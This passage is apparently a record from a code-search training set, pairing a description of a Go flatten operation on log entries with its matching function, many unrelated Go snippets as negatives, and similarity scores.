:= &UpdatePartitionReq{}\n\t\tif err = json.Unmarshal(msg.V, req); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp, err = mp.fsmUpdatePartition(req.End)\n\tcase opFSMExtentsAdd:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmAppendExtents(ino)\n\tcase opFSMExtentsAddWithCheck:\n\t\tino := NewInode(0, 0)\n\t\tif err = ino.Unmarshal(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\tresp = mp.fsmAppendExtentsWithCheck(ino)\n\tcase opFSMStoreTick:\n\t\tinodeTree := mp.getInodeTree()\n\t\tdentryTree := mp.getDentryTree()\n\t\textendTree := mp.extendTree.GetTree()\n\t\tmultipartTree := mp.multipartTree.GetTree()\n\t\tmsg := &storeMsg{\n\t\t\tcommand: opFSMStoreTick,\n\t\t\tapplyIndex: index,\n\t\t\tinodeTree: inodeTree,\n\t\t\tdentryTree: dentryTree,\n\t\t\textendTree: extendTree,\n\t\t\tmultipartTree: multipartTree,\n\t\t}\n\t\tmp.storeChan <- msg\n\tcase opFSMInternalDeleteInode:\n\t\terr = mp.internalDelete(msg.V)\n\tcase opFSMInternalDeleteInodeBatch:\n\t\terr = mp.internalDeleteBatch(msg.V)\n\tcase opFSMInternalDelExtentFile:\n\t\terr = mp.delOldExtentFile(msg.V)\n\tcase opFSMInternalDelExtentCursor:\n\t\terr = mp.setExtentDeleteFileCursor(msg.V)\n\tcase opFSMSetXAttr:\n\t\tvar extend *Extend\n\t\tif extend, err = NewExtendFromBytes(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = mp.fsmSetXAttr(extend)\n\tcase opFSMRemoveXAttr:\n\t\tvar extend *Extend\n\t\tif extend, err = NewExtendFromBytes(msg.V); err != nil {\n\t\t\treturn\n\t\t}\n\t\terr = mp.fsmRemoveXAttr(extend)\n\tcase opFSMCreateMultipart:\n\t\tvar multipart *Multipart\n\t\tmultipart = MultipartFromBytes(msg.V)\n\t\tresp = mp.fsmCreateMultipart(multipart)\n\tcase opFSMRemoveMultipart:\n\t\tvar multipart *Multipart\n\t\tmultipart = MultipartFromBytes(msg.V)\n\t\tresp = mp.fsmRemoveMultipart(multipart)\n\tcase opFSMAppendMultipart:\n\t\tvar multipart *Multipart\n\t\tmultipart = MultipartFromBytes(msg.V)\n\t\tresp = mp.fsmAppendMultipart(multipart)\n\tcase opFSMSyncCursor:\n\t\tvar cursor uint64\n\t\tcursor = binary.BigEndian.Uint64(msg.V)\n\t\tif cursor > mp.config.Cursor {\n\t\t\tmp.config.Cursor = cursor\n\t\t}\n\t}\n\n\treturn\n}", "func (kv *KVServer) ApplyOp(op Op, opIndex int, opTerm int) KVAppliedOp {\n\terr := Err(OK)\n\tval, keyOk := kv.store[op.Key]\n\n\t// only do the store modification if we haven't already\n\t// seen this request (can happen if a leader crashes after comitting\n\t// but before responding to client)\n\tif prevOp, ok := kv.latestResponse[op.ClientID]; !ok || prevOp.KVOp.ClientSerial != op.ClientSerial {\n\t\tif op.OpType == \"Get\" && !keyOk {\n\t\t\t// Get\n\t\t\terr = Err(ErrNoKey)\n\t\t} else if op.OpType == \"Put\" {\n\t\t\t// Put\n\t\t\tkv.store[op.Key] = op.Value\n\t\t} else if op.OpType == \"Append\" {\n\t\t\t// Append (may need to just Put)\n\t\t\tif !keyOk {\n\t\t\t\tkv.store[op.Key] = op.Value // should this be ErrNoKey?\n\t\t\t} else {\n\t\t\t\tkv.store[op.Key] += op.Value\n\t\t\t}\n\t\t}\n\t\tkv.Log(LogInfo, \"Store updated:\", kv.store)\n\t} else {\n\t\tkv.Log(LogDebug, \"Skipping store update, detected duplicate command.\")\n\t}\n\n\t// create the op, add the Value field if a Get\n\tappliedOp := KVAppliedOp{\n\t\tTerm: opTerm,\n\t\tIndex: opIndex,\n\t\tKVOp: op,\n\t\tErr: err,\n\t}\n\tif op.OpType == \"Get\" {\n\t\tappliedOp.Value = val\n\t}\n\tkv.Log(LogDebug, \"Applied op\", appliedOp)\n\n\t// update tracking of latest op applied\n\tkv.lastIndexApplied = appliedOp.Index\n\tkv.lastTermApplied = appliedOp.Term\n\treturn appliedOp\n}", "func (entries *Entries) insert(entry Entry) Entry {\n\ti := entries.search(entry.Key())\n\n\tif i == len(*entries) {\n\t\t*entries = append(*entries, entry)\n\t\treturn nil\n\t}\n\n\tif (*entries)[i].Key() == entry.Key() {\n\t\toldEntry := (*entries)[i]\n\t\t(*entries)[i] = entry\n\t\treturn oldEntry\n\t}\n\n\t(*entries) = append(*entries, nil)\n\tcopy((*entries)[i+1:], (*entries)[i:])\n\t(*entries)[i] = entry\n\treturn nil\n}", "func (this *ObjectInnerPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}", "func (sm *ShardMaster) Update() {\n\tfor true {\n\t\tlog := <- sm.applyCh\n\t\ttp := log.Command.(Op)\n\t\tvar cid int64\n\t\tvar rid int\n\t\tvar result OpReply\n\t\tswitch tp.OpType{\n\t\tcase Join:\n\t\t\targs := tp.Args.(JoinArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\tcase Leave:\n\t\t\targs := tp.Args.(LeaveArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\tcase Move:\n\t\t\targs := tp.Args.(MoveArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\tcase Query:\n\t\t\targs := tp.Args.(QueryArgs)\n\t\t\tcid = args.ClientId\n\t\t\trid = args.RequestId\n\t\t\tresult.args = args\n\t\t}\n\t\tresult.OpType = tp.OpType\n\t\tdup := sm.duplication(cid, rid)\n\t\tresult.reply = sm.getApply(tp, dup)\n\t\tsm.sendResult(log.Index, result)\n\t\tsm.Validation()\n\t}\n}" ]
[ "0.61009544", "0.59140384", "0.5795012", "0.57819134", "0.57488275", "0.5550068", "0.54835904", "0.54824543", "0.5445215", "0.5312117", "0.530991", "0.53049093", "0.52662474", "0.5248166", "0.5233655", "0.5227144", "0.5181192", "0.51698935", "0.5125097", "0.51091605", "0.51084024", "0.5102788", "0.50943506", "0.507493", "0.5072455", "0.50515795", "0.50474596", "0.5033069", "0.49948874", "0.49811423", "0.49765402", "0.4975369", "0.49533454", "0.49255726", "0.49180204", "0.49095923", "0.4891957", "0.4859443", "0.48471153", "0.4844472", "0.48330462", "0.47747666", "0.47597387", "0.4750416", "0.4749285", "0.4735663", "0.47355312", "0.47259155", "0.47167683", "0.47161973", "0.4709345", "0.47052023", "0.4699624", "0.46723652", "0.4657137", "0.46503228", "0.464533", "0.46271798", "0.46263522", "0.46194887", "0.46133217", "0.46110687", "0.45988625", "0.45920056", "0.45832005", "0.45801014", "0.45790485", "0.45660278", "0.45376205", "0.4536543", "0.45358822", "0.45346302", "0.4533713", "0.4527829", "0.4510055", "0.45097062", "0.4501838", "0.45016107", "0.45011646", "0.44931272", "0.44884664", "0.44884664", "0.44772762", "0.44742188", "0.4471841", "0.44697678", "0.44697678", "0.44680882", "0.44663468", "0.44616792", "0.4454416", "0.44393313", "0.4433389", "0.44303712", "0.44298366", "0.4422498", "0.44217262", "0.44192687", "0.4414805", "0.4413089" ]
0.72502
0
Type will return the type of operation
func (op *OpMove) Type() string { return "move" }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (op *OperationProperty) Type() string {\n\treturn \"github.com/wunderkraut/radi-api/operation.Operation\"\n}", "func (op *OpAdd) Type() string {\n\treturn \"add\"\n}", "func (op *ConvertOperation) Type() OpType {\n\treturn TypeConvert\n}", "func (op *TotalCommentRewardOperation) Type() OpType {\n\treturn TypeTotalCommentReward\n}", "func (m *EqOp) Type() string {\n\treturn \"EqOp\"\n}", "func (op *CommitteePayRequestOperation) Type() OpType {\n\treturn TypeCommitteePayRequest\n}", "func (op *ProducerRewardOperationOperation) Type() OpType {\n\treturn TypeProducerRewardOperation\n}", "func (op *TransitToCyberwayOperation) Type() OpType {\n\treturn TypeTransitToCyberway\n}", "func (op *AuthorRewardOperation) Type() OpType {\n\treturn TypeAuthorReward\n}", "func (m *StartsWithCompareOperation) Type() string {\n\treturn \"StartsWithCompareOperation\"\n}", "func (op *OpFlatten) Type() string {\n\treturn \"flatten\"\n}", "func (op *ProposalCreateOperation) Type() OpType {\n\treturn TypeProposalCreate\n}", "func (m *IPInRangeCompareOperation) Type() string {\n\treturn \"IpInRangeCompareOperation\"\n}", "func (m *OperativeMutation) Type() string {\n\treturn m.typ\n}", "func getOperationType(op iop.OperationInput) (operationType, error) {\n\thasAccount := op.Account != nil\n\thasTransaction := op.Transaction != nil\n\tif hasAccount == hasTransaction {\n\t\treturn operationTypeUnknown, errors.New(`Must have exactly 1 of \"account\" or \"transaction\" fields set`)\n\t}\n\tif hasAccount {\n\t\treturn operationTypeCreateAccount, nil\n\t}\n\treturn operationTypePerformTransaction, nil\n}", "func (m *DirectoryAudit) GetOperationType()(*string) {\n return m.operationType\n}", "func (op *FillVestingWithdrawOperation) Type() OpType {\n\treturn TypeFillVestingWithdraw\n}", "func (d *DarwinKeyOperation) Type() string {\n\treturn d.KeyType\n}", "func (op *ClaimRewardBalanceOperation) Type() OpType {\n\treturn TypeClaimRewardBalance\n}", "func (m *OperativerecordMutation) Type() string {\n\treturn m.typ\n}", "func (*Int) GetOp() string { return \"Int\" }", "func (m *UnaryOperatorOrd) Type() Type {\n\treturn IntType{}\n}", "func (op *ResetAccountOperation) Type() OpType {\n\treturn TypeResetAccount\n}", "func (co CigarOp) Type() CigarOpType { return CigarOpType(co & 0xf) }", "func (op *OpRemove) Type() string {\n\treturn \"remove\"\n}", "func (r *RegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (b *BitOp) Type() sql.Type {\n\trTyp := b.Right.Type()\n\tif types.IsDeferredType(rTyp) {\n\t\treturn rTyp\n\t}\n\tlTyp := b.Left.Type()\n\tif types.IsDeferredType(lTyp) {\n\t\treturn lTyp\n\t}\n\n\tif types.IsText(lTyp) || types.IsText(rTyp) {\n\t\treturn types.Float64\n\t}\n\n\tif types.IsUnsigned(lTyp) && types.IsUnsigned(rTyp) {\n\t\treturn types.Uint64\n\t} else if types.IsSigned(lTyp) && types.IsSigned(rTyp) {\n\t\treturn types.Int64\n\t}\n\n\treturn types.Float64\n}", "func (s Spec) Type() string {\n\treturn \"exec\"\n}", "func (op *RecoverAccountOperation) Type() OpType {\n\treturn TypeRecoverAccount\n}", "func (m *UnaryOperatorLen) Type() Type {\n\treturn IntType{}\n}", "func (op *ThreeDEnrollmentAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (m *ToolMutation) Type() string {\n\treturn m.typ\n}", "func (cmd Command) Type() string {\n\treturn cmd.MessageType\n}", "func (p RProc) Type() Type { return p.Value().Type() }", "func (r *Rdispatch) Type() int8 {\n\treturn RdispatchTpe\n}", "func (m *BinaryOperatorMod) Type() Type {\n\treturn IntType{}\n}", "func (op *ReportOverProductionOperation) Type() OpType {\n\treturn TypeReportOverProduction\n}", "func (e *CustomExecutor) GetType() int {\n\treturn model.CommandTypeCustom\n}", "func (m *BinaryOperatorAdd) Type() Type {\n\treturn IntType{}\n}", "func (n *NotRegexpOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (e *EqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (expr *ExprXor) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (op *ChargeDMSAssembly) GetOperationType() structures.OperationType {\n\treturn op.opHTTPData.GetOperationType()\n}", "func (fn *Function) Type() ObjectType {\n\treturn ObjectTypeFunction\n}", "func (m *UnaryOperatorNegate) Type() Type {\n\treturn IntType{}\n}", "func (fn NoArgFunc) Type() Type { return fn.SQLType }", "func (e *ExprXor) Type() types.Type {\n\treturn e.X.Type()\n}", "func (m *BinaryOperatorDiv) Type() Type {\n\treturn IntType{}\n}", "func (f *FunctionLike) Type() string {\n\tif f.macro {\n\t\treturn \"macro\"\n\t}\n\treturn \"function\"\n}", "func (l *LessEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (execution *Execution) GetType() (execType string) {\n\tswitch strings.ToLower(execution.Type) {\n\tcase \"\":\n\t\tfallthrough\n\tcase \"local\":\n\t\texecType = \"local\"\n\tcase \"remote\":\n\t\texecType = \"remote\"\n\tdefault:\n\t\tpanic(execution)\n\t}\n\n\treturn\n}", "func (g *generator) customOperationType() error {\n\top := g.aux.customOp\n\tif op == nil {\n\t\treturn nil\n\t}\n\topName := op.message.GetName()\n\n\tptyp, err := g.customOpPointerType()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tp := g.printf\n\n\tp(\"// %s represents a long running operation for this API.\", opName)\n\tp(\"type %s struct {\", opName)\n\tp(\" proto %s\", ptyp)\n\tp(\"}\")\n\tp(\"\")\n\tp(\"// Proto returns the raw type this wraps.\")\n\tp(\"func (o *%s) Proto() %s {\", opName, ptyp)\n\tp(\" return o.proto\")\n\tp(\"}\")\n\n\treturn nil\n}", "func (m *BinaryOperatorBitOr) Type() Type {\n\treturn IntType{}\n}", "func (i *InOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *TeamsAsyncOperation) GetOperationType()(*TeamsAsyncOperationType) {\n return m.operationType\n}", "func (obj *standard) Operation() Operation {\n\treturn obj.op\n}", "func (f *Function) Type() ObjectType {\n\treturn FUNCTION\n}", "func (r *Reconciler) Type() string {\n\treturn Type\n}", "func (f *Filter) GetType() FilterOperator {\n\treturn f.operator\n}", "func (m *SystemMutation) Type() string {\n\treturn m.typ\n}", "func (f *Function) Type() ObjectType { return FUNCTION_OBJ }", "func (r ExecuteServiceRequest) Type() RequestType {\n\treturn Execute\n}", "func (m *BinaryOperatorOr) Type() Type {\n\treturn BoolType{}\n}", "func (l *LikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (myOperatingSystemType *OperatingSystemType) Type() (param string) {\n\treturn myOperatingSystemType.Typevar\n}", "func (m *OrderproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorMult) Type() Type {\n\treturn IntType{}\n}", "func (p *createPlan) Type() string {\n\treturn \"CREATE\"\n}", "func (m *CarserviceMutation) Type() string {\n\treturn m.typ\n}", "func (m *CarCheckInOutMutation) Type() string {\n\treturn m.typ\n}", "func (op *OpRetain) Type() string {\n\treturn \"retain\"\n}", "func (m *OrderonlineMutation) Type() string {\n\treturn m.typ\n}", "func (o *WorkflowCliCommandAllOf) GetType() string {\n\tif o == nil || o.Type == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Type\n}", "func (expr *ExprOr) Type() types.Type {\n\treturn expr.X.Type()\n}", "func (Instr) Type() sql.Type { return sql.Int64 }", "func (m *TypeproductMutation) Type() string {\n\treturn m.typ\n}", "func (n *NotLikeOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (this *ObjectUnwrap) Type() value.Type {\n\n\t// this is the succinct version of the above...\n\treturn this.Operand().Type()\n}", "func (m *FinancialMutation) Type() string {\n\treturn m.typ\n}", "func (p *insertPlan) Type() string {\n\treturn \"INSERT\"\n}", "func (m *ResourceMutation) Type() string {\n\treturn m.typ\n}", "func (g *GreaterThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (typ OperationType) String() string {\n\tswitch typ {\n\tcase Query:\n\t\treturn \"query\"\n\tcase Mutation:\n\t\treturn \"mutation\"\n\tcase Subscription:\n\t\treturn \"subscription\"\n\tdefault:\n\t\treturn fmt.Sprintf(\"OperationType(%d)\", int(typ))\n\t}\n}", "func (m *HexMutation) Type() string {\n\treturn m.typ\n}", "func (b *BinaryExpr) Type(env ExpressionEnv) (querypb.Type, error) {\n\tltype, err := b.Left.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\trtype, err := b.Right.Type(env)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\ttyp := mergeNumericalTypes(ltype, rtype)\n\treturn b.Op.Type(typ), nil\n}", "func (m *ZoneproductMutation) Type() string {\n\treturn m.typ\n}", "func (m *StockMutation) Type() string {\n\treturn m.typ\n}", "func (o *Function) Type() *Type {\n\treturn FunctionType\n}", "func (m *ManagerMutation) Type() string {\n\treturn m.typ\n}", "func (l *LessThanOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func GetOperatorType() OperatorType {\n\tswitch {\n\tcase IsOperatorGo():\n\t\treturn OperatorTypeGo\n\tcase IsOperatorAnsible():\n\t\treturn OperatorTypeAnsible\n\tcase IsOperatorHelm():\n\t\treturn OperatorTypeHelm\n\t}\n\treturn OperatorTypeUnknown\n}", "func (e REnv) Type() Type { return e.Value().Type() }", "func (m *CompetenceMutation) Type() string {\n\treturn m.typ\n}", "func (op *GenericOperation) Kind() uint8 {\n\t// Must be at least long enough to get the kind byte\n\tif len(op.hex) <= 33 {\n\t\treturn opKindUnknown\n\t}\n\n\treturn op.hex[33]\n}", "func (c *Call) Type() Type {\n\treturn c.ExprType\n}", "func (n *NullSafeEqualOp) Type() querypb.Type {\n\treturn querypb.Type_INT32\n}", "func (m *Win32LobAppRegistryRule) GetOperationType()(*Win32LobAppRegistryRuleOperationType) {\n return m.operationType\n}", "func (m *PromotiontypeMutation) Type() string {\n\treturn m.typ\n}", "func (m *BinaryOperatorSub) Type() Type {\n\treturn IntType{}\n}", "func (c *ComparisonExpr) Type(ExpressionEnv) (querypb.Type, error) {\n\treturn querypb.Type_INT32, nil\n}" ]
[ "0.73397994", "0.7331954", "0.72103316", "0.70835686", "0.7061754", "0.6980852", "0.69322", "0.68823165", "0.6846249", "0.684079", "0.68392855", "0.6821877", "0.67526066", "0.6746585", "0.674267", "0.6730284", "0.67165416", "0.6710324", "0.66475177", "0.66334957", "0.6620575", "0.6574164", "0.6569285", "0.6566755", "0.6549322", "0.6531823", "0.65267223", "0.6524067", "0.6494353", "0.6476448", "0.6455802", "0.64514893", "0.64397943", "0.64392865", "0.64281154", "0.6419435", "0.6413713", "0.63886774", "0.63807184", "0.6375125", "0.6373742", "0.63721126", "0.63579583", "0.63417757", "0.6332697", "0.6328391", "0.6324545", "0.631497", "0.62952644", "0.62910163", "0.62844765", "0.6274955", "0.62650305", "0.62640405", "0.62523085", "0.6252087", "0.6239459", "0.62389636", "0.6229541", "0.62033015", "0.6200374", "0.61991316", "0.6193402", "0.61895406", "0.61791986", "0.6175558", "0.6175285", "0.61724573", "0.61557966", "0.61456096", "0.61413467", "0.6141278", "0.6140642", "0.61386997", "0.61329275", "0.61257845", "0.6124157", "0.6117993", "0.61164016", "0.6114104", "0.611341", "0.6112936", "0.6107847", "0.6092411", "0.6090323", "0.6079666", "0.6078997", "0.607785", "0.6074464", "0.60626715", "0.6057602", "0.60575134", "0.6047113", "0.60389787", "0.603745", "0.60356474", "0.60354406", "0.6028229", "0.60229194", "0.6016492" ]
0.62861925
50
Apply will perform the flatten operation on an entry
func (op *OpFlatten) Apply(e *entry.Entry) error { parent := op.Field.Parent() val, ok := e.Delete(op.Field) if !ok { // The field doesn't exist, so ignore it return fmt.Errorf("apply flatten: field %s does not exist on body", op.Field) } valMap, ok := val.(map[string]interface{}) if !ok { // The field we were asked to flatten was not a map, so put it back err := e.Set(op.Field, val) if err != nil { return errors.Wrap(err, "reset non-map field") } return fmt.Errorf("apply flatten: field %s is not a map", op.Field) } for k, v := range valMap { err := e.Set(parent.Child(k), v) if err != nil { return err } } return nil }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (f *Flattener) flatten(entry *mapEntry) (*FlattenerPoint, error) {\n\n\tvar flatValue float64\n\n\tswitch entry.operation {\n\n\tcase Avg:\n\n\t\tfor _, v := range entry.values {\n\t\t\tflatValue += v\n\t\t}\n\n\t\tflatValue /= (float64)(len(entry.values))\n\n\tcase Sum:\n\n\t\tfor _, v := range entry.values {\n\t\t\tflatValue += v\n\t\t}\n\n\tcase Count:\n\n\t\tflatValue = (float64)(len(entry.values))\n\n\tcase Min:\n\n\t\tflatValue = entry.values[0]\n\n\t\tfor i := 1; i < len(entry.values); i++ {\n\n\t\t\tif entry.values[i] < flatValue {\n\t\t\t\tflatValue = entry.values[i]\n\t\t\t}\n\t\t}\n\n\tcase Max:\n\n\t\tflatValue = entry.values[0]\n\n\t\tfor i := 1; i < len(entry.values); i++ {\n\n\t\t\tif entry.values[i] > flatValue {\n\t\t\t\tflatValue = entry.values[i]\n\t\t\t}\n\t\t}\n\n\tdefault:\n\n\t\treturn nil, fmt.Errorf(\"operation id %d is not mapped\", entry.operation)\n\t}\n\n\treturn &FlattenerPoint{\n\t\tflattenerPointData: entry.flattenerPointData,\n\t\tvalue: flatValue,\n\t}, nil\n}", "func (e Entry) flatten(m map[string]interface{}) {\n\tm[\"message\"] = e.Message\n\tm[\"severity\"] = e.Severity\n\tif e.Trace != \"\" {\n\t\tm[\"logging.googleapis.com/trace\"] = e.Trace\n\t}\n\tif e.Component != \"\" {\n\t\tm[\"component\"] = e.Component\n\t}\n\tif e.Fields != nil {\n\t\tfor k, v := range e.Fields {\n\t\t\tm[k] = v\n\t\t}\n\t}\n}", "func (d *dataUsageCache) flatten(root dataUsageEntry) dataUsageEntry {\n\tfor id := range root.Children {\n\t\te := d.Cache[id]\n\t\tif len(e.Children) > 0 {\n\t\t\te = d.flatten(e)\n\t\t}\n\t\troot.merge(e)\n\t}\n\troot.Children = nil\n\treturn root\n}", "func (r ApiGetHyperflexConfigResultEntryListRequest) Apply(apply string) ApiGetHyperflexConfigResultEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func (gm *gmap) applyEntries(gmp *gmapProgress, apply *apply) {\n\t// Has entry?\n\tif len(apply.entries) == 0 {\n\t\treturn\n\t}\n\t// Is the node leave the cluster tool long, the latest snapshot is better than the entry.\n\tfirsti := apply.entries[0].Index\n\tif firsti > gmp.appliedi+1 {\n\t\tlogger.Panicf(\"first index of committed entry[%d] should <= appliedi[%d] + 1\", firsti, gmp.appliedi)\n\t}\n\t// Extract useful entries.\n\tvar ents []raftpb.Entry\n\tif gmp.appliedi+1-firsti < uint64(len(apply.entries)) {\n\t\tents = apply.entries[gmp.appliedi+1-firsti:]\n\t}\n\t// Iterate all entries\n\tfor _, e := range ents {\n\t\tswitch e.Type {\n\t\t// Normal entry.\n\t\tcase raftpb.EntryNormal:\n\t\t\tif len(e.Data) != 0 {\n\t\t\t\t// Unmarshal request.\n\t\t\t\tvar req InternalRaftRequest\n\t\t\t\tpbutil.MustUnmarshal(&req, e.Data)\n\n\t\t\t\tvar ar applyResult\n\t\t\t\t// Put new value\n\t\t\t\tif put := req.Put; put != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[put.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", put.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get key, value and revision.\n\t\t\t\t\tkey, value, revision := put.Key, set.vtype.unwrap(put.Value), e.Index\n\t\t\t\t\t// Get map and put value into map.\n\t\t\t\t\tm := set.get(put.Map)\n\t\t\t\t\tm.put(key, value, revision)\n\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\tevent := MapEvent{Type: PUT, KV: &KeyValue{Key: key, Value: value}}\n\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\treturn true\n\t\t\t\t\t})\n\t\t\t\t\t// Set apply result.\n\t\t\t\t\tar.rev = revision\n\t\t\t\t}\n\t\t\t\t// Delete value\n\t\t\t\tif del := req.Delete; del != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[del.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", del.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map and delete value from map.\n\t\t\t\t\tm := set.get(del.Map)\n\t\t\t\t\tif pre := m.delete(del.Key); nil != pre {\n\t\t\t\t\t\t// Send put event to watcher\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t\tevent := MapEvent{Type: DELETE, PrevKV: &KeyValue{Key: del.Key, Value: ar.pre.Value}}\n\t\t\t\t\t\tm.watchers.Range(func(key, value interface{}) bool {\n\t\t\t\t\t\t\tkey.(*watcher).eventc <- event\n\t\t\t\t\t\t\treturn true\n\t\t\t\t\t\t})\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Update value\n\t\t\t\tif update := req.Update; update != nil {\n\t\t\t\t\t// Get set.\n\t\t\t\t\tset, exist := gm.sets[update.Set]\n\t\t\t\t\tif !exist {\n\t\t\t\t\t\tlogger.Panicf(\"set(%s) is not exist\", update.Set)\n\t\t\t\t\t}\n\t\t\t\t\t// Get map.\n\t\t\t\t\tm := set.get(update.Map)\n\t\t\t\t\t// Update value.\n\t\t\t\t\tpre, ok := m.update(update.Key, update.Value, update.Revision, e.Index)\n\t\t\t\t\tif ok {\n\t\t\t\t\t\t// The revision will be set only if update succeed\n\t\t\t\t\t\tar.rev = e.Index\n\t\t\t\t\t}\n\t\t\t\t\tif nil != pre {\n\t\t\t\t\t\tar.pre = *pre\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Trigger proposal waiter.\n\t\t\t\tgm.wait.Trigger(req.ID, &ar)\n\t\t\t}\n\t\t// The configuration of gmap is fixed and wil not be synchronized through raft.\n\t\tcase raftpb.EntryConfChange:\n\t\tdefault:\n\t\t\tlogger.Panicf(\"entry type should be either EntryNormal or EntryConfChange\")\n\t\t}\n\n\t\tgmp.appliedi, gmp.appliedt = e.Index, e.Term\n\t}\n}", "func (h *GrayLog) flatten(item map[string]interface{}, fields map[string]interface{}, id string) {\n\tif id != \"\" {\n\t\tid = id + \"_\"\n\t}\n\tfor k, i := range item {\n\t\tswitch i := i.(type) {\n\t\tcase int:\n\t\t\tfields[id+k] = float64(i)\n\t\tcase float64:\n\t\t\tfields[id+k] = i\n\t\tcase map[string]interface{}:\n\t\t\th.flatten(i, fields, id+k)\n\t\tdefault:\n\t\t}\n\t}\n}", "func (this *ObjectUnwrap) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tif len(oa) == 1 {\n\t\tfor _, v := range oa {\n\t\t\treturn value.NewValue(v), nil\n\t\t}\n\t}\n\n\treturn value.NULL_VALUE, nil\n}", "func (a *Add) Apply(data []byte) ([]byte, error) {\n\tinput := convert.SliceToMap(strings.Split(a.Path, \".\"), a.composeValue())\n\tvar event interface{}\n\tif err := json.Unmarshal(data, &event); err != nil {\n\t\treturn data, err\n\t}\n\n\tresult := convert.MergeJSONWithMap(event, input)\n\toutput, err := json.Marshal(result)\n\tif err != nil {\n\t\treturn data, err\n\t}\n\n\treturn output, nil\n}", "func (op *OpRetain) Apply(e *entry.Entry) error {\n\tnewEntry := entry.New()\n\tnewEntry.Timestamp = e.Timestamp\n\tfor _, field := range op.Fields {\n\t\tval, ok := e.Get(field)\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\terr := newEntry.Set(field, val)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t*e = *newEntry\n\treturn nil\n}", "func (tree *AcceptTree) Flatten() []*AcceptEntry {\n\tentries := make([]*AcceptEntry, 0, tree.Size)\n\ttree.flattenToTarget(&entries)\n\treturn entries\n}", "func (e *Element) Apply(element *Element) {\n\telement.Children = append(element.Children, e)\n}", "func (re *raftEngine) entriesToApply(ents []raftpb.Entry) (nents []raftpb.Entry) {\r\n\tif len(ents) == 0 {\r\n\t\treturn\r\n\t}\r\n\tfirstIndex := ents[0].Index\r\n\tif firstIndex > re.appliedIndex+1 {\r\n\t\tlog.ZAPSugaredLogger().Errorf(\"Error raised when processing entries to apply, first index of committed entry [%d] should <= appliedIndex [%d].\", firstIndex, re.appliedIndex)\r\n\t\treturn\r\n\t}\r\n\tif re.appliedIndex-firstIndex+1 < uint64(len(ents)) {\r\n\t\tnents = ents[re.appliedIndex-firstIndex+1:]\r\n\t}\r\n\treturn\r\n}", "func (r ApiGetHyperflexSoftwareDistributionEntryListRequest) Apply(apply string) ApiGetHyperflexSoftwareDistributionEntryListRequest {\n\tr.apply = &apply\n\treturn r\n}", "func Apply(data []byte, x interface{}) error {\n\trx := reflect.ValueOf(x)\n\tif rx.Kind() != reflect.Ptr || rx.IsNil() {\n\t\treturn ErrNonPointer\n\t}\n\n\tvar patches []Patch\n\terr := json.Unmarshal(data, &patches)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\try := reflect.New(rx.Elem().Type())\n\t// I am making a copy of the interface so that when an\n\t// error arises while performing one of the patches the\n\t// original data structure does 